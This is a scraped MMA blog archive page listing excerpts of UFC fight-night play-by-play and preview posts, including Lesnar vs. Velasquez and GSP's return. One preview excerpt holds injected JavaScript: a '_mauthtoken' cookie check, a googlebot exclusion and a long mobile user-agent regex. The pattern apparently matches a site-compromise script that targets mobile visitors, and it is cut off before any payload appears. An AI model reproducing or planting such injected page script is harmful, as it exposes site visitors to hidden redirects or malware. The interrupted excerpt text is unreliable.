It’s the second UFC Fight Night on Fox Sports 1 and while it doesn’t have the same near PPV worthy card, there’s still a really good main event and other exciting fighters on the undercard. Not bad for your midweek UFC card. Let’s get started with the Condit vs. Kampmann 2 play by play. 1….
Read MoreIt’s the return of Georges St. Pierre. St. Pierre’s last fight was all the way back on April 30, 2011 in a lackluster effort against Jake Shields (to be fair, GSP was eye poked and had blurred vision). It’s been a long way back for GSP. Originally, he was going to face Nick Diaz at…
Read MoreWe’ve been covering the latest season of The Ultimate Fighter all season long. Early on, if you said the finale would be between Al Iaquinta and Justin Lawrence, I’d have agreed with you. But something happened on the way to the finals. Michael Chiesa defeated Lawrence who gassed badly in the quarterfinals. The main event…
Read MoreWith so much MMA on TV these days, there are going to be shows that we don’t watch live and thus, can’t do live play-by-play posts. In those cases, I’ll bring back my Rear Naked Rambings column and go over the big points from those shows. Over the weekend, there were two shows. UFC on…
Read MoreUFC is coming from San Jose, CA, my home town, and while I’m not there to give the live play by play, Cactus Jim is there and will be sending in his live thoughts to pepper in with my play by play. He has live thoughts on the full undercard here: https://fightgamemedia.com/2011/11/ufc-139-undercard-results-with-live-thoughts/. The main event…
Read MoreMMA on cable is good for the soul. I think this card snuck up on people because of it being on a Thursday. It’s pretty close to what you’d expect to a Fight Night card on Spike based on the caliber of fighters. It’s also the first card on Versus since WEC ended. Smartly, they…
Read MoreIt was the biggest show since the last Brock Lesnar fight, but on this night, there would be a new champion. Cain Velasquez conquered Lesnar in an exciting main event that helped out what was just an OK card at that point with the exception of Diego Sanchez vs. Paulo Thiago. Sanchez breathed life into…
Read MoreWhat else can you say? On the night that my San Francisco Giants are headed to the World Series, it’s Brock Lesnar and Cain Velasquez locking it up. It’s the icing on the cake. No long intros tonight, let’s get to the fights. 1. Gabriel Gonzaga vs. Brendan Schaub Schaub was able to get in…
Read MoreI found this video on Yahoo! today, but it looks like it’s a preview from UFC.com. It’s done in their normal countdown style and they go over three fights including Brock Lesnar vs. Cain Velasquez, Jake Shields vs. Martin Kampmann, and Tito Ortiz vs. Matt Hamill. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(…
Read MoreI was able to watch UFC 115 on the big screen in a movie theater. There were maybe 10 of us watching in one of the larger theaters, so I’m guessing it was a big failure for the UFC. But it was cool to watch the show this way and if you get the opportunity,…
